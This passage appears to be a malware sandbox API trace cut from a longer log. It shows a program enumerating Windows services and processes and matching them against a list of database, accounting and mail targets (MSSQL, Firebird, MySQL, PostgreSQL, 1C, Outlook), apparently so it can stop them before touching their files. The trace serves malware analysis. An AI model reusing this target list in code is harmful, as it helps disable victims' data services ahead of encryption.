[0154.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0154.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0154.694] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0154.694] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0154.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0154.694] lstrlenW (lpString="CscService") returned 10 [0154.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0154.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0154.694] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0154.694] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0154.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0154.694] lstrlenW (lpString="DcomLaunch") returned 10 [0154.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.694] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0154.694] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0154.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0154.695] lstrlenW (lpString="Dhcp") returned 4 [0154.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0154.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0154.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0154.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0154.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0154.695] lstrlenW (lpString="Dnscache") returned 8 [0154.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0154.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0154.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0154.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0154.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0154.695] lstrlenW (lpString="DPS") returned 3 [0154.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0154.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0154.695] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0154.695] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0154.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0154.695] lstrlenW (lpString="eventlog") returned 8 [0154.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0154.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0154.695] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0154.695] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0154.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0154.695] lstrlenW (lpString="EventSystem") returned 11 [0154.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0154.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0154.695] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0154.695] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0154.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0154.695] lstrlenW (lpString="gpsvc") returned 5 [0154.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0154.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0154.696] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0154.696] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0154.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0154.696] lstrlenW (lpString="iphlpsvc") returned 8 [0154.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.696] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0154.696] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0154.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0154.696] lstrlenW (lpString="LanmanServer") returned 12 [0154.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0154.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0154.696] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0154.696] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0154.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0154.696] lstrlenW (lpString="LanmanWorkstation") returned 17 [0154.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.696] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0154.696] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0154.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0154.696] lstrlenW (lpString="lmhosts") returned 7 [0154.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0154.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0154.696] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0154.696] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0154.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0154.697] lstrlenW (lpString="MMCSS") returned 5 [0154.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0154.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0154.697] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0154.697] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0154.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0154.697] lstrlenW (lpString="MpsSvc") returned 6 [0154.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0154.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0154.697] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0154.697] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0154.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0154.697] lstrlenW (lpString="Netman") returned 6 [0154.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0154.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0154.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0154.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0154.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0154.697] lstrlenW (lpString="netprofm") returned 8 [0154.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0154.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0154.697] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0154.697] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0154.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0154.697] lstrlenW (lpString="NlaSvc") returned 6 [0154.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0154.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0154.698] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0154.698] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0154.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0154.698] lstrlenW (lpString="nsi") returned 3 [0154.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0154.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0154.698] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0154.698] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0154.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0154.698] lstrlenW (lpString="PcaSvc") returned 6 [0154.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0154.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0154.698] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0154.698] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0154.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0154.698] lstrlenW (lpString="PlugPlay") returned 8 [0154.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0154.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0154.698] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0154.698] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0154.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0154.698] lstrlenW (lpString="Power") returned 5 [0154.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0154.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0154.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0154.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0154.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0154.698] lstrlenW (lpString="ProfSvc") returned 7 [0154.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0154.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0154.698] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0154.699] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0154.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0154.699] lstrlenW (lpString="RpcEptMapper") returned 12 [0154.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.699] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0154.699] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0154.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0154.699] lstrlenW (lpString="RpcSs") returned 5 [0154.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0154.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0154.699] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0154.699] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0154.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0154.699] lstrlenW (lpString="SamSs") returned 5 [0154.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0154.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0154.699] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0154.699] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0154.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0154.699] lstrlenW (lpString="Schedule") returned 8 [0154.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0154.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0154.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0154.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0154.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0154.699] lstrlenW (lpString="SENS") returned 4 [0154.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0154.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0154.699] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0154.699] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0154.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0154.700] lstrlenW (lpString="ShellHWDetection") returned 16 [0154.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.700] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0154.700] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0154.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0154.700] lstrlenW (lpString="Spooler") returned 7 [0154.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0154.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0154.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0154.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0154.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0154.700] lstrlenW (lpString="SysMain") returned 7 [0154.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0154.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0154.700] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0154.700] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0154.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0154.700] lstrlenW (lpString="Themes") returned 6 [0154.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0154.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0154.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0154.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0154.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0154.700] lstrlenW (lpString="TrkWks") returned 6 [0154.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0154.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0154.700] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0154.700] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0154.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0154.700] lstrlenW (lpString="UxSms") returned 5 [0154.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0154.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0154.701] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0154.701] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0154.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0154.701] lstrlenW (lpString="WdiServiceHost") returned 14 [0154.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0154.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0154.701] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0154.701] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0154.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0154.701] lstrlenW (lpString="WdiSystemHost") returned 13 [0154.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0154.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0154.701] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0154.701] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0154.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0154.701] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0154.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0154.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0154.701] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0154.701] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0154.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0154.701] lstrlenW (lpString="Winmgmt") returned 7 [0154.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0154.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0154.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0154.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0154.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0154.701] lstrlenW (lpString="WPDBusEnum") returned 10 [0154.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0154.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0154.701] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0154.702] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0154.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0154.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x433e1b8 | out: hHeap=0x630000) returned 1 [0154.702] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0154.705] Process32FirstW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.705] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0154.705] lstrlenW (lpString="System") returned 6 [0154.705] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0154.705] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0154.705] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0154.705] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0154.705] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0154.705] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0154.705] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0154.706] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0154.706] lstrlenW (lpString="smss.exe") returned 8 [0154.706] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0154.706] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0154.706] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0154.706] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0154.706] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0154.706] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0154.706] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0154.706] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.706] lstrlenW (lpString="csrss.exe") returned 9 [0154.706] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0154.706] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0154.706] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0154.706] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0154.707] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0154.707] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0154.707] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0154.707] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0154.707] lstrlenW (lpString="wininit.exe") returned 11 [0154.707] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0154.707] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0154.707] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0154.707] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0154.707] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0154.707] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0154.707] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0154.707] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0154.707] lstrlenW (lpString="csrss.exe") returned 9 [0154.707] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0154.707] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0154.707] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0154.708] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0154.708] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0154.708] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0154.708] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0154.708] lstrlenW (lpString="winlogon.exe") returned 12 [0154.708] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0154.708] lstrlenW (lpString="services.exe") returned 12 [0154.708] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0154.709] lstrlenW (lpString="lsass.exe") returned 9 [0154.709] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0154.709] lstrlenW (lpString="lsm.exe") returned 7 [0154.709] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.709] lstrlenW (lpString="svchost.exe") returned 11 [0154.709] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.710] lstrlenW (lpString="svchost.exe") returned 11 [0154.710] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.710] lstrlenW (lpString="svchost.exe") returned 11 [0154.710] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.710] lstrlenW (lpString="svchost.exe") returned 11 [0154.710] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, 